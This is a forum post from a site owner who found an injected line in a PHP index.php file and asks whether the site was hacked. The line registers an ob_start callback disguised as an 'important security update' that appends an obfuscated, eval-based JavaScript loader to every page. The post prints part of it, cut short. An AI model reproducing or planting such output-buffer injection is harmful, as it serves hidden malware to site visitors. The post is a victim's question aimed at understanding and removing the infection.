Fatal error: ob_start()

[eluser]ilSignorCarlo[/eluser]
Ok, I think I've found the problem.

In the index.php file there was this line:

Code:

<?php ob_start("security_update"); function security_update($buffer){return $buffer."[removed]$=\"Z63bZ3dZ228Z2564s);Z2573tZ253dtZ256dpZ253dZ2527Z2527;for(iZ253d0Z253biZ253cdZ2573.leZ256eZ22;deZ3dZ22iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050!Z25209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+4-4Z3ebu`|qsu8tZ3ciuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+Z22;dzZ3dZ22Z2566uncZ2574ioZ256e
...
...
...
function z(s){r=\"\";for(i=0;i<s.length;i++){if(s.charAt(i)==\"Z\"){s1=\"%\"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}eval(z($));[removed]";}//important security update

I cut a lot of code because it contains a apparently random characters.
Anyway, is it malicious code? Do you think someone hacked the site? The index.php has permission 755, is this right?

Removing the code solved the problem.